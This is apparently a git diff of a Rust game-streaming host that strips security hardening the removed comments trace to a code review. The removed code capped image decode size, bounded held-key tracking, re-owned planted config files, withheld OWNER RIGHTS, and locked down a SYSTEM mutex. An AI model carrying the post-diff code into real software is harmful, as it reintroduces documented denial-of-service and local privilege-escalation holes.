assert!(!valid_passthrough_mime("\0"));
assert!(!valid_passthrough_mime("image/\0webp"));
// Other control bytes and whitespace are refused for the same reason.
assert!(!valid_passthrough_mime("image/web\np"));
assert!(!valid_passthrough_mime("image/web p"));
assert!(!valid_passthrough_mime("image/web\tp"));
// Shapes that are not a MIME type at all.
assert!(!valid_passthrough_mime(""));
assert!(!valid_passthrough_mime("noslash"));
assert!(!valid_passthrough_mime("/nosubtype"));
assert!(!valid_passthrough_mime("notype/"));
assert!(!valid_passthrough_mime(&format!(
"image/{}",
"x".repeat(300)
)));
// Legitimate uncanonicalized MIMEs still pass through.
assert!(valid_passthrough_mime("image/webp"));
assert!(valid_passthrough_mime("application/x-custom+json"));
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
// End to end: the offer list is built without the malformed entry, and does not panic.
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
assert_eq!(offers, vec!["image/png".to_string()]);
}
#[test]
fn pick_wayland_mime_prefers_canonical() {
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
+1 -21
View File
@@ -169,27 +169,7 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
// Bound the DECODE, not just the result.
//
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
// review L-9). Limits applied here make the allocation refuse instead.
//
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
let mut limits = image::Limits::default();
limits.max_image_width = Some(32767);
limits.max_image_height = Some(32767);
limits.max_alloc = Some(256 * 1024 * 1024);
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
.with_guessed_format()
.ok()?;
let mut reader = reader;
reader.limits(limits);
let img = reader.decode().ok()?;
let img = image::load_from_memory(bytes).ok()?;
let rgba = img.to_rgba8();
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
if w == 0 || h == 0 || w > 32767 || h > 32767 {
+2 -52
View File
@@ -24,20 +24,14 @@ const RENEW_EVERY: Duration = Duration::from_millis(1000);
/// bundles rumble + lightbar + player-LEDs + adaptive-triggers into one report, so a pad that is
/// merely *rumbling* re-sends its (unchanged) lightbar / LED / trigger state on every output report.
/// The managers already dedup rumble; this does the same for the rich [`HidOutput`] feedback so the
/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger` / `AudioCtl`)
/// is deduped by value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must
/// fire).
/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger`) is deduped by
/// value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must fire).
#[derive(Clone, Default)]
pub struct HidoutDedup {
led: Option<(u8, u8, u8)>,
player_leds: Option<u8>,
/// Last-forwarded adaptive-trigger effect per side: `[0]` = L2, `[1]` = R2.
trigger: [Option<Vec<u8>>; 2],
/// Last-forwarded audio-control state (`flags` + the raw volume/routing bytes).
audio_ctl: Option<(u8, [u8; 6])>,
/// Once-per-pad-lifetime field-diagnosis flag: set after the first forwarded `AudioCtl`
/// carrying the haptics-select bit was logged (cleared with the rest on (re)plug).
haptics_select_logged: bool,
/// When anything was last put on the wire for this pad. `None` = nothing latched yet, so
/// there is nothing to renew. See [`RENEW_EVERY`].
last_sent: Option<Instant>,
@@ -129,25 +123,6 @@ impl HidoutDedup {
}
// One-shot haptic pulse (Steam voice-coil) — state-less, always fires.
HidOutput::TrackpadHaptic { .. } => true,
HidOutput::AudioCtl { pad, flags, raw } => {
let v = Some((*flags, *raw));
if self.audio_ctl == v {
false
} else {
// Field-diagnosis signal, once per pad lifetime: a title driving the DS5's
// audio haptics (not plain rumble emulation, whose all-zero audio region
// never reaches here) — the trace that tells "the game does audio haptics"
// apart from "the client just doesn't render them".
if flags & 0x01 != 0 && !self.haptics_select_logged {
self.haptics_select_logged = true;
tracing::info!(
"DS5 title asserted haptics-select (audio haptics) pad={pad}"
);
}
self.audio_ctl = v;
true
}
}
// Raw as-is passthrough reports must NEVER dedup: the physical device's firmware
// watchdogs RELY on identical periodic refreshes (Triton rumble re-sent every ~40 ms
// against a ~50 ms safety timeout, lizard-off every ~3 s) — dropping a repeat would
@@ -327,29 +302,4 @@ mod tests {
// The pulse stamped the clock but latched no state, so the renewal has nothing to repeat.
assert!(d.renewals(0, t + Duration::from_millis(1000)).is_empty());
}
/// `AudioCtl` dedups by value like the other state kinds: an identical repeat (every output
/// report re-sends the unchanged audio region) is dropped, a flags-only or raw-only change
/// forwards again, and `clear` re-arms — including the once-per-pad haptics-select log flag.
#[test]
fn audio_ctl_dedups_by_value() {
let mut d = HidoutDedup::default();
let t = Instant::now();
let audio = |flags, vol| HidOutput::AudioCtl {
pad: 0,
flags,
raw: [vol, 0, 0, 0, 0, 0],
};
// Identical twice → exactly one emission.
assert!(d.should_forward(&audio(0x17, 0x50), t));
assert!(!d.should_forward(&audio(0x17, 0x50), t));
// Either half changing (flags, or the raw region) forwards again.
assert!(d.should_forward(&audio(0x16, 0x50), t));
assert!(d.should_forward(&audio(0x16, 0x60), t));
// The other kinds' state is untouched by audio traffic.
assert!(d.should_forward(&HidOutput::PlayerLeds { pad: 0, bits: 1 }, t));
// `clear` (pad re-plug) re-arms the value dedup.
d.clear();
assert!(d.should_forward(&audio(0x16, 0x60), t));
}
}
+3 -14
View File
@@ -1022,21 +1022,10 @@ impl EiState {
// Track held state on the wire codes so `release_all` can undo it at
// session end (vanished clients must not leave anything latched).
match ev.kind {
// Track the code we ACTUALLY INJECTED, not the raw wire code.
//
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
// never matched the entry a KeyDown for 0x141 left behind. A client sending
// distinct high bytes therefore appended entries that could never be removed, to a
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
// truncated code makes the list correct AND bounds it at 256 entries by
// construction. `release_all` re-injects through the same truncation, so the
// release path is unchanged.
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
self.held_keys.push(ev.code & 0xff);
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
self.held_keys.push(ev.code);
}
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
self.held_buttons.push(ev.code);
}
@@ -535,7 +535,7 @@ pub mod out_report {
/// Parse a DualSense USB output report (`0x02`) into a [`DsFeedback`], indexed off
/// [`out_report`]. Only the well-understood fields (motor rumble, lightbar RGB, player LEDs) are
/// surfaced — adaptive-trigger blocks and the audio-control region are forwarded raw for the client.
/// surfaced — adaptive-trigger blocks are forwarded raw for the client.
///
/// Every field is gated on the report's valid-flags (`valid_flag0` at data[1], `valid_flag1`
/// at data[2]) — writers only set the bits for fields they mean to change (the rest is zeroed),
@@ -592,21 +592,6 @@ pub fn parse_ds_output(pad: u8, data: &[u8], fb: &mut DsFeedback) {
});
}
}
// The audio-control region (bytes 5..=10: headphone/speaker/mic volumes + routing), for the
// pad-audio path. The wire flags condense the report's audio bits: bit0 = haptics-select
// (flag0 BIT1 — set on every SDL rumble write too, which is why it alone never triggers an
// emission), bits1..4 = flag0 bits 4..7 (the audio-valid flags gating the region). Emitted
// whenever an audio-valid flag is present or the region carries data; downstream dedup
// ([`crate::hidout_dedup`]) reduces the per-report repeats to genuine changes.
let raw: [u8; 6] = data[5..11].try_into().unwrap();
if flag0 & 0xF0 != 0 || raw != [0u8; 6] {
let flags = ((flag0 >> 1) & 0x01) | ((flag0 >> 3) & 0x1E);
fb.hidout.push(HidOutput::AudioCtl {
pad: pad.into(),
flags,
raw,
});
}
}
#[cfg(test)]
@@ -932,48 +917,6 @@ mod tests {
assert_eq!(*DUALSENSE_EDGE_RDESC.last().unwrap(), 0xC0);
}
/// A 0x02 report driving the pad's audio (haptics-select + audio-valid flags + the volume/
/// routing bytes) surfaces an `AudioCtl` with the exact raw region and the condensed flags;
/// a plain rumble write (haptics-select but a silent audio region — every SDL rumble) does
/// NOT — that is what `parse_output_respects_valid_flags` pins with its `hidout.is_empty()`.
#[test]
fn parse_output_surfaces_audio_ctl() {
let mut data = vec![0u8; 48];
data[0] = 0x02;
data[1] = 0xB2; // flag0: haptics-select (BIT1) + audio-valid bits 4/5/7
data[5] = 0x50; // headphone volume
data[6] = 0x60; // speaker volume
data[7] = 0x70; // mic volume
data[8] = 0x05; // audio routing / enable bits
let mut fb = DsFeedback::default();
parse_ds_output(3, &data, &mut fb);
// flags: bit0 = flag0 bit1, bits1..4 = flag0 bits 4..7 (0b1011 → 0b10110).
assert_eq!(
fb.hidout,
vec![HidOutput::AudioCtl {
pad: 3,
flags: 0b1_0111,
raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
}]
);
// A non-zero audio region with NO audio-valid flags still surfaces (dedup collapses the
// repeats downstream) — some writers leave stale volumes gated off; the host side wants
// the honest bytes either way.
let mut data = vec![0u8; 48];
data[0] = 0x02;
data[9] = 0x01;
let mut fb = DsFeedback::default();
parse_ds_output(0, &data, &mut fb);
assert_eq!(
fb.hidout,
vec![HidOutput::AudioCtl {
pad: 0,
flags: 0,
raw: [0, 0, 0, 0, 0x01, 0],
}]
);
}
/// A short / wrong-id report yields nothing.
#[test]
fn parse_output_rejects_garbage() {
@@ -518,7 +518,6 @@ mod tests {
index: 2,
kind: 1,
capabilities: 0,
audio_caps: 0,
});
assert!(m.slots.get(2).is_some());
}
+17 -92
View File
@@ -70,64 +70,11 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
{
let r = std::fs::create_dir_all(dir);
#[cfg(windows)]
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
restrict_dir_to_system_admins(dir);
r
}
}
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
/// expensive recursive re-own.
///
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
/// would re-walk the whole config tree — recordings, art cache — for nothing.
#[cfg(windows)]
fn first_hardening_of(dir: &std::path::Path) -> bool {
use std::collections::HashSet;
use std::sync::{Mutex, OnceLock};
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
.lock()
.map(|mut s| s.insert(dir.to_path_buf()))
.unwrap_or(false)
}
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
/// Administrators.
///
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
#[cfg(windows)]
pub fn restrict_existing_secret_file(path: &std::path::Path) {
if !path.exists() {
return;
}
let icacls = icacls_path();
let _ = std::process::Command::new(&icacls)
.arg(path.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
restrict_to_system_admins(path);
}
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
#[cfg(not(windows))]
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
#[cfg(windows)]
fn icacls_path() -> String {
std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string())
}
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
@@ -139,23 +86,17 @@ fn icacls_path() -> String {
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
#[cfg(windows)]
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
let icacls = icacls_path();
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
//
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
// Re-owning only the directory left every file the attacker had already created still owned by
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
// deep pass at startup closes it without re-walking recordings and art cache on every write.
let mut own = std::process::Command::new(&icacls);
own.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
if deep {
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
}
let _ = own
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
// needless churn (secret files are individually owner-locked by `write_secret_file`).
let _ = std::process::Command::new(&icacls)
.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
@@ -167,13 +108,8 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
"/grant:r",
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
// so a file a local user created before the hardening ran stayed writable by them even
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
// Administrators cover every account that legitimately writes here; a non-elevated
// manual run gets read-only config, which is the intended boundary rather than a
// regression — this directory drives command execution as SYSTEM.
"/grant:r",
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
"/grant:r",
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
])
@@ -194,19 +130,6 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
///
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
///
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
/// window becomes real again.
pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
use std::io::Write;
let mut opts = std::fs::OpenOptions::new();
@@ -237,7 +160,9 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
#[cfg(windows)]
fn restrict_to_system_admins(path: &std::path::Path) {
let icacls = icacls_path();
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
let status = std::process::Command::new(icacls)
.arg(path.as_os_str())
.args([
-30
View File
@@ -30,12 +30,6 @@ const STALE_REOPEN_NS: u64 = 100_000_000;
pub(crate) const MARGIN_STEP_NS: u64 = 500_000;
pub(crate) const MARGIN_MAX_NS: u64 = 2_500_000;
/// Judder (‰ of present intervals off the modal spacing) that on its own justifies a 1 Hz
/// presenter line. A cadence defect produces no drops, no gate holds and healthy latency
/// percentiles, so it would otherwise stay silent until someone set the debug env var.
/// Occasional single-frame slips are normal; a twentieth of a window is not.
pub(crate) const JUDDER_LOG_PERMILLE: u16 = 50;
/// The decoded-frame store between the wake channel and the present call.
///
/// `capacity == 0` = newest-wins (latency intent): `submit` replaces, `take` clears.
@@ -189,15 +183,6 @@ pub(crate) struct LatchClock {
pending_count: u32,
grid: punktfunk_core::phase::PanelGrid,
fallback_period_ns: u64,
/// The cadence (judder) statistic — the only stat we publish that is not a latency,
/// and the only one that can see a pacing defect. Lives here because this is where
/// the on-glass stamps and the learned grid it quantises against already meet.
///
/// ⚠ These stamps are `CLOCK_REALTIME` (the module's domain), so a wall-clock step
/// would forge one hitch that never happened. It lands in the stall/disordered
/// counters rather than the judder ratio, which is why that split is worth having.
/// Android feeds the metric a raw monotonic stamp and has no such exposure.
intervals: punktfunk_core::phase::PresentIntervals,
}
/// Spacings per handoff to [`punktfunk_core::phase::PanelGrid`]. Small enough that a real
@@ -213,29 +198,14 @@ impl LatchClock {
pending_count: 0,
grid: punktfunk_core::phase::PanelGrid::seeded(refresh_hz as i32),
fallback_period_ns: 1_000_000_000 / u64::from(refresh_hz.max(1)),
intervals: punktfunk_core::phase::PresentIntervals::new(),
}
}
/// Drain the window's cadence summary — the 1 Hz stat boundary, beside the store and
/// gate counters.
pub(crate) fn take_cadence(&mut self) -> Option<punktfunk_core::phase::PresentCadence> {
self.intervals.take()
}
/// Fold on-glass stamps (ascending). Spacings are measured against the previous
/// stamp whatever the batching, so the loop's one-sample-per-pass drain still feeds
/// the learner.
pub(crate) fn note_batch(&mut self, stamps: &[u64]) {
// Seeded-or-learned, so cadence is scored from the first window rather than only
// once the learner has converged. Held for the batch: a mid-batch period change
// would requantise a handful of samples for no benefit.
let period_ns = self.period_ns() as i64;
for &s in stamps {
// Cadence sees EVERY stamp, including the sub-millisecond pairs the grid
// learner skips below: two presents inside one refresh is not a grid step,
// but it is very much a cadence event (it scores as a zero-refresh interval).
self.intervals.record(s as i64, period_ns);
if self.last_ns != 0 && s > self.last_ns {
let d = s - self.last_ns;
// < 1 ms apart = a queued pair, not a grid step.
+2 -23
View File
@@ -19,8 +19,7 @@
use crate::input::{Capture, FingerPhase};
use crate::overlay::{FrameCtx, Overlay, OverlayAction, OverlayFrame, SessionPhase};
use crate::present_pace::{
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, JUDDER_LOG_PERMILLE, MARGIN_MAX_NS,
MARGIN_STEP_NS,
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, MARGIN_MAX_NS, MARGIN_STEP_NS,
};
use crate::touch::Abs;
use crate::vk::{FrameInput, Presenter};
@@ -1822,7 +1821,6 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
// a second `take_counters` would read zeros.
let (replaced, q_drop, q_dry) = st.store.take_counters();
let (gated, forced) = st.gate.take_counters();
let cadence = st.clock.take_cadence();
st.presented = PresentedWindow {
e2e_p50_ms: e2e_p50 as f32 / 1000.0,
e2e_p95_ms: e2e_p95 as f32 / 1000.0,
@@ -1836,8 +1834,6 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
q_dry,
gated,
forced,
judder_permille: cadence.map(|c| c.judder_permille).unwrap_or(0),
cadence_mode: cadence.map(|c| c.mode_units).unwrap_or(0),
};
st.win_e2e_us.clear();
st.win_disp_us.clear();
@@ -1859,14 +1855,7 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
// The 1 Hz presenter line (the Apple `pf-present` analogue): emitted
// when anything moved, or always under PUNKTFUNK_PRESENT_DEBUG=1 —
// the field-triage instrument for the intent engine.
// Judder joins the "something moved" triggers deliberately: a cadence
// defect shows NO drops, NO gate holds and healthy percentiles, so
// without this a stream can judder visibly and never emit a line.
if pacing_active
&& (present_debug
|| q_drop + q_dry + gated + forced > 0
|| st.presented.judder_permille >= JUDDER_LOG_PERMILLE)
{
if pacing_active && (present_debug || q_drop + q_dry + gated + forced > 0) {
tracing::info!(
smoothing = st.presented.smoothing,
mode = st.presented.mode,
@@ -1882,8 +1871,6 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
latch_ms = st.presented.latch_ms,
period_us = st.clock.period_ns() / 1000,
margin_us = st.margin_ns / 1000,
judder_permille = st.presented.judder_permille,
cadence_mode = st.presented.cadence_mode,
"presenter window"
);
}
@@ -2381,14 +2368,6 @@ struct PresentedWindow {
q_dry: u32,
gated: u32,
forced: u32,
/// The cadence (judder) statistic — the fraction of present intervals (‰) that missed
/// the modal spacing, and that modal spacing in whole refreshes. Every other number
/// here is a latency and none of them can see a pacing defect: alternating 1 and 3
/// refreshes has the same mean rate as a steady 2, better latency percentiles, and
/// looks broken. `mode 0` = not enough evidence this window.
/// See [`punktfunk_core::phase::PresentIntervals`].
judder_permille: u16,
cadence_mode: u8,
}
/// The capture hints (`ui_stream` parity — the words the user reads while released).
-5
View File
@@ -66,11 +66,6 @@ pf-driver-proto = { path = "../pf-driver-proto" }
bytemuck = { version = "1.19", features = ["derive"] }
windows = { version = "0.62", features = [
"Win32_Foundation",
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
"Win32_Security",
"Win32_Security_Authorization",
"Win32_Devices_DeviceAndDriverInstallation",
"Win32_Devices_Display",
"Win32_Graphics_Gdi",
@@ -3,7 +3,6 @@
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
use super::*;
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
@@ -41,40 +40,16 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
machine refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
service stop`) first.";
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
// security attributes this object took the DACL from the creating token's default, and a
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
// below and reports a perfectly reasonable "another instance is managing the driver", which
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
//
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
// the OWNER of a name that already exists so a squat is reported as a squat.
let sd = security_descriptor()?;
let sa = SECURITY_ATTRIBUTES {
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
lpSecurityDescriptor: sd.0,
bInheritHandle: false.into(),
};
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
// protocol for pre-existing named objects.
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
unsafe {
let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
Ok(h) => h,
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
// is live; it is ALSO exactly what a squat looks like, so say both.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process any \
account with SeCreateGlobalPrivilege can create it first and deny us access, \
which disables virtual-display streaming until that process exits. Find the \
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
),
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
Err(e) => {
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
}
@@ -82,114 +57,8 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
let already = GetLastError() == ERROR_ALREADY_EXISTS;
let owned = OwnedHandle::from_raw_handle(h.0 as _);
if already {
// We opened an existing object — so its DACL let us in, but that says nothing about
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
if let Some(owner) = object_owner_sid(h) {
if !is_privileged_sid(&owner) {
anyhow::bail!(
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
process (owner SID {owner}) this is not another punktfunk-host, it is a \
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
virtual-display streaming while it is held."
);
}
}
anyhow::bail!("{IN_USE}");
}
Ok(owned)
}
}
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
fn security_descriptor() -> Result<LocalSd> {
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
let mut psd = PSECURITY_DESCRIPTOR::default();
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
// allocation is taken over by `LocalSd` below.
unsafe {
ConvertStringSecurityDescriptorToSecurityDescriptorW(
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
SDDL_REVISION_1,
&mut psd,
None,
)
}
.context("build the pf-vdisplay single-instance security descriptor")?;
Ok(LocalSd(psd.0))
}
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
struct LocalSd(*mut core::ffi::c_void);
impl Drop for LocalSd {
fn drop(&mut self) {
if !self.0.is_null() {
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
// which documents LocalFree as the matching deallocation.
unsafe {
let _ = windows::Win32::Foundation::LocalFree(Some(
windows::Win32::Foundation::HLOCAL(self.0),
));
}
self.0 = std::ptr::null_mut();
}
}
}
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
fn object_owner_sid(h: HANDLE) -> Option<String> {
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
};
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
let mut owner = PSID::default();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
// allocation and is LocalFree'd below.
let rc = unsafe {
GetSecurityInfo(
h,
SE_KERNEL_OBJECT,
OWNER_SECURITY_INFORMATION,
Some(&mut owner),
None,
None,
None,
Some(&mut sd),
)
};
let out = if rc.is_ok() && !owner.is_invalid() {
let mut sid_str = windows::core::PWSTR::null();
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
// LocalAlloc'd string is freed immediately below.
unsafe {
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
let text = sid_str.to_string().unwrap_or_default();
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
Some(text)
} else {
None
}
}
} else {
None
};
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
// which LocalFree tolerates).
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
out
}
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
/// legitimate pf-vdisplay manager runs as.
fn is_privileged_sid(sid: &str) -> bool {
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
}
-201
View File
@@ -670,12 +670,6 @@ pub const PUNKTFUNK_HIDOUT_TRIGGER: u8 = 3;
/// side (0 = right pad, 1 = left pad); `effect[0..6]` packs `amplitude` / `period` / `count` as
/// little-endian `u16`s with `effect_len = 6`. Clients without trackpad coils drop it.
